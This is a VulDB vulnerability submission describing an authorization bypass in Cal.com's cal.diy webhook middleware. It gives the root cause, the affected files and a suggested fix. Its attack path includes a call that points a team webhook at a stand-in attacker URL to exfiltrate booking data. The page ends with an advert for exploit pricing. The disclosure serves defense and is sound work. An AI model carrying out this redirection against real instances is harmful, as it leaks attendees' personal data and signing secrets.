Soumettre #1009017: https://github.com/calcom/ cal.diy a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d Authorization Bypassinformation

Titrehttps://github.com/calcom/ cal.diy a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d Authorization Bypass
DescriptionTeam webhook IDOR — team MEMBER can hijack team webhook delivery (missing ownership check in tRPC middleware) There's an authorization bypass in the tRPC webhook infrastructure that allows a team **MEMBER** to redirect a team's webhook delivery to an attacker-controlled URL, exfiltrating all future booking event payloads. **Root cause** The shared `createWebhookProcedure()` middleware in `packages/trpc/server/routers/viewer/webhook/util.ts` guards all `viewer.webhook.*` endpoints. When a webhook ID is supplied, it checks ownership as follows: ```ts if (webhook.eventTypeId) { // check eventType owner } else if (webhook.userId && webhook.userId !== [ctx.user.id](http://ctx.user.id/)) { throw new TRPCError({ code: "FORBIDDEN" }); } ``` For **team-level webhooks**, `webhook.userId` is `null` (only `teamId` is set). Because `null` is falsy, the entire `else if` branch is skipped and `next()` is called with no authorization check. There is no check that the caller is a member of — or has admin rights in — the webhook's owning team. The `edit` handler (`edit.handler.ts`) contains no secondary check, so any authenticated user who supplies a valid team webhook UUID can update the webhook's `subscriberUrl`, `secret`, and other fields. The handler returns the full updated row including the signing `secret`. **Attack path** 1. Attacker joins a Cal.com team as a MEMBER (lowest role). 2. Attacker calls `viewer.webhook.getByViewer` to obtain the team webhook UUID (this call is authorized for all team members and is the normal data source for the webhooks settings page). 3. Attacker calls `viewer.webhook.edit` with `{ id: "<uuid>", subscriberUrl: "https://attacker.example.com/recv" }`. 4. The middleware silently passes (userId=null, no check fires). The handler updates the webhook and returns the signing secret. 5. All future booking events (BOOKING_CREATED, BOOKING_RESCHEDULED, BOOKING_CANCELLED, etc.) are delivered to the attacker's server, leaking attendee name, email, phone, time zone, and custom field data. **Affected code** - `packages/trpc/server/routers/viewer/webhook/util.ts` — missing teamId/membership check - `packages/trpc/server/routers/viewer/webhook/edit.handler.ts` — no secondary ownership check Confirmed present at HEAD `a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d` (main branch, 2026-06-21). **Suggested fix** In the middleware, after fetching the webhook, add a check for team membership/role when `webhook.teamId` is set: ```ts } else if (webhook.teamId) { const membership = await prisma.membership.findFirst({ where: { teamId: webhook.teamId, userId: [ctx.user.id](http://ctx.user.id/), accepted: true, role: { in: ["ADMIN", "OWNER"] } }, }); if (!membership) throw new TRPCError({ code: "FORBIDDEN" }); } ```
La source⚠️ https://github.com/calcom/cal.diy/issues/29982
Utilisateur
 geochen (UID 78995)
Soumission01/10/2026 02:16 (il y a 19 jours)
Modérer18/10/2026 12:43 (17 days later)
StatutAccepté
Entrée VulDB421691 [calcom cal.com/cal.diy jusqu’à 6.2.0 Webhook util.ts createWebhookProcedure id élévation de privilèges]
Points20

Interested in the pricing of exploits?

See the underground prices here!